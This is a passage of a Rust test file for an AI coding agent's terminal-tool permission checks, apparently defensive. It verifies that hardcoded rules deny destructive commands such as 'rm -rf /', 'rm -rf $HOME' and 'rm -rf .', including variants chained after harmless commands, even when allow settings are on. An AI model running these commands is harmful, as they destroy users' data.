1082 invalid_patterns: vec![
1083 InvalidRegexPattern {
1084 pattern: "[bad1".into(),
1085 rule_type: "always_deny".into(),
1086 error: "err1".into(),
1087 },
1088 InvalidRegexPattern {
1089 pattern: "[bad2".into(),
1090 rule_type: "always_allow".into(),
1091 error: "err2".into(),
1092 },
1093 ],
1094 },
1095 );
1096 let p = ToolPermissions { tools };
1097
1098 let result = ToolPermissionDecision::from_input(
1099 TerminalTool::NAME,
1100 "echo hi",
1101 &p,
1102 false,
1103 ShellKind::Posix,
1104 );
1105 match result {
1106 ToolPermissionDecision::Deny(msg) => {
1107 assert!(
1108 msg.contains("2 regex patterns"),
1109 "Expected '2 regex patterns' in message, got: {}",
1110 msg
1111 );
1112 }
1113 other => panic!("Expected Deny, got {:?}", other),
1114 }
1115 }
1116
1117 // Hardcoded security rules tests - these rules CANNOT be bypassed
1118
1119 #[test]
1120 fn hardcoded_blocks_rm_rf_root() {
1121 t("rm -rf /").is_deny();
1122 t("rm -fr /").is_deny();
1123 t("rm -RF /").is_deny();
1124 t("rm -FR /").is_deny();
1125 t("rm -r -f /").is_deny();
1126 t("rm -f -r /").is_deny();
1127 t("RM -RF /").is_deny();
1128 }
1129
1130 #[test]
1131 fn hardcoded_blocks_rm_rf_home() {
1132 t("rm -rf ~").is_deny();
1133 t("rm -fr ~").is_deny();
1134 t("rm -rf ~/").is_deny();
1135 t("rm -rf $HOME").is_deny();
1136 t("rm -fr $HOME").is_deny();
1137 t("rm -rf $HOME/").is_deny();
1138 t("rm -rf ${HOME}").is_deny();
1139 t("rm -rf ${HOME}/").is_deny();
1140 t("rm -RF $HOME").is_deny();
1141 t("rm -FR ${HOME}/").is_deny();
1142 t("rm -R -F ${HOME}/").is_deny();
1143 t("RM -RF ~").is_deny();
1144 }
1145
1146 #[test]
1147 fn hardcoded_blocks_rm_rf_dot() {
1148 t("rm -rf .").is_deny();
1149 t("rm -fr .").is_deny();
1150 t("rm -rf ./").is_deny();
1151 t("rm -rf ..").is_deny();
1152 t("rm -fr ..").is_deny();
1153 t("rm -rf ../").is_deny();
1154 t("rm -RF .").is_deny();
1155 t("rm -FR ../").is_deny();
1156 t("rm -R -F ../").is_deny();
1157 t("RM -RF .").is_deny();
1158 t("RM -RF ..").is_deny();
1159 }
1160
1161 #[test]
1162 fn hardcoded_cannot_be_bypassed_by_global() {
1163 // Even with always_allow_tool_actions=true, hardcoded rules block
1164 t("rm -rf /").global(true).is_deny();
1165 t("rm -rf ~").global(true).is_deny();
1166 t("rm -rf $HOME").global(true).is_deny();
1167 t("rm -rf .").global(true).is_deny();
1168 t("rm -rf ..").global(true).is_deny();
1169 }
1170
1171 #[test]
1172 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1173 // Even with an allow pattern that matches, hardcoded rules block
1174 t("rm -rf /").allow(&[".*"]).is_deny();
1175 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1176 t("rm -rf .").allow(&[".*"]).is_deny();
1177 t("rm -rf ..").allow(&[".*"]).is_deny();
1178 }
1179
1180 #[test]
1181 fn hardcoded_allows_safe_rm() {
1182 // rm -rf on a specific path should NOT be blocked
1183 t("rm -rf ./build")
1184 .mode(ToolPermissionMode::Allow)
1185 .is_allow();
1186 t("rm -rf /tmp/test")
1187 .mode(ToolPermissionMode::Allow)
1188 .is_allow();
1189 t("rm -rf ~/Documents")
1190 .mode(ToolPermissionMode::Allow)
1191 .is_allow();
1192 t("rm -rf $HOME/Documents")
1193 .mode(ToolPermissionMode::Allow)
1194 .is_allow();
1195 t("rm -rf ../some_dir")
1196 .mode(ToolPermissionMode::Allow)
1197 .is_allow();
1198 t("rm -rf .hidden_dir")
1199 .mode(ToolPermissionMode::Allow)
1200 .is_allow();
1201 }
1202
1203 #[test]
1204 fn hardcoded_checks_chained_commands() {
1205 // Hardcoded rules should catch dangerous commands in chains
1206 t("ls && rm -rf /").is_deny();
1207 t("echo hello; rm -rf ~").is_deny();
1208 t("cargo build && rm -rf /").global(true).is_deny();
1209 t("echo hello; rm -rf $HOME").is_deny();
1210 t("echo hello; rm -rf .").is_deny();
1211 t("echo hello; rm -rf ..").is_deny();
1212 }
1213}